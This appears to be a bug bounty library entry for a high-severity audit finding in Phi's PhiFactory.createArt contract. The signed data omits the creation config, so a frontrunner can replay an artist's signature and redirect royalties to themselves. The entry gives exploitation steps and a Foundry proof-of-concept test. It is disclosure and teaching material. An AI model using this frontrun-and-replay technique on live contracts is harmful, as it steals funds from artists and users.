# Signature replay in createArt allows to impersonate artist and steal royalties

PhiFactory.createArt signed data omits CreateConfig, so an attacker frontruns the tx reusing the signature with their own receiver to steal royalties.

- Payout: Audit contest
- Severity: high
- Program: Phi
- Found by: kuprum
- Disclosed: 2024-10-07
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-08-phi-findings/issues/70
- Library page: https://bugbountylibrary.com/r/c4%3A2024-08-phi%3AH-02
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic vuln:signature-replay

**Target:** PhiFactory.createArt on-chain art creation
**Root cause:** The signature only covers expiresIn, artIdURL and credData, not the CreateConfig (artist, receiver, royaltyBPS, supply, fees), and is not bound to a submitter or nonce. createERC1155Internal also succeeds when the art contract already exists, so both txs land.
**Steps:**
1. Observe victim's `createArt(signCreateData, signature, config)` in mempool.
2. Frontrun with same `signCreateData`/signature but `CreateConfig(artCreator, user1, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false)` plus `NFT_ART_CREATE_FEE`.
3. Attacker tx creates art with attacker as receiver; victim tx then succeeds against existing contract.
4. Verify `phiFactory.artData(1).receiver == user1`; attacker collects rewards routed to PhiRewards on claims.
**How found:** Code review of createArt signature validation: noticed signed payload excluded CreateConfig and lacked nonce/submitter binding, then checked createERC1155Internal tolerates pre-existing contract, enabling frontrun double-execution.
**Exploitation:** Attacker needs only mempool visibility and the create fee; reuses the valid signer signature with a modified config to become royalty receiver (or artist, enabling updateRoyalties/updateArtSettings), then harvests rewards sent from PhiNFT1155 to PhiRewards when NFTs are claimed.
**Escalation:** Setting self as artist also grants updateRoyalties (arbitrary royaltyBPS) and updateArtSettings (maxSupply, endTime, mintFee).
**Insight:** When a signed payload authorizes a state-creating call, check every parameter that affects value routing (recipient, fee, supply) is inside the digest, and whether the create path is idempotent—idempotent creation lets a frontrun coexist with the victim tx instead of reverting.

## Proof of concept (copied exactly from the original report)

**Foundry test frontrunning createArt with replayed signature**

```
function testKuprum_ImpersonateArtist() public {
    // The owner prepares the signature, the config,
    //  and submits the `createArt` transaction
    string memory artIdURL = "sample-art-id";
    bytes memory credData = abi.encode(1, owner, "SIGNATURE", 31_337, bytes32(0));
    bytes memory signCreateData = abi.encode(expiresIn, artIdURL, credData);
    bytes32 createMsgHash = keccak256(signCreateData);
    bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
    (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
    if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
    IPhiFactory.CreateConfig memory config =
        IPhiFactory.CreateConfig(artCreator, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);
    
    // user1 observes `createArt` transaction in the mempool, and frontruns it,
    // reusing the signature, but with their own config where user1 is the receiver
    vm.deal(user1, 1 ether);
    vm.startPrank(user1);
    IPhiFactory.CreateConfig memory user1Config =
        IPhiFactory.CreateConfig(artCreator, user1, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);
    phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(signCreateData, abi.encodePacked(cr, cs), user1Config);

    // Owner's `createArt` succeeds; there is also no difference in the `ArtContractCreated` event
    vm.startPrank(owner);
    phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(signCreateData, abi.encodePacked(cr, cs), config);

    // Verify that user1 is now the royalties recipient
    uint256 artIdNum = 1;
    IPhiFactory.ArtData memory updatedArt = phiFactory.artData(artIdNum);
    assertEq(updatedArt.receiver, user1, "user1 should be the royalties recipient");
}
```

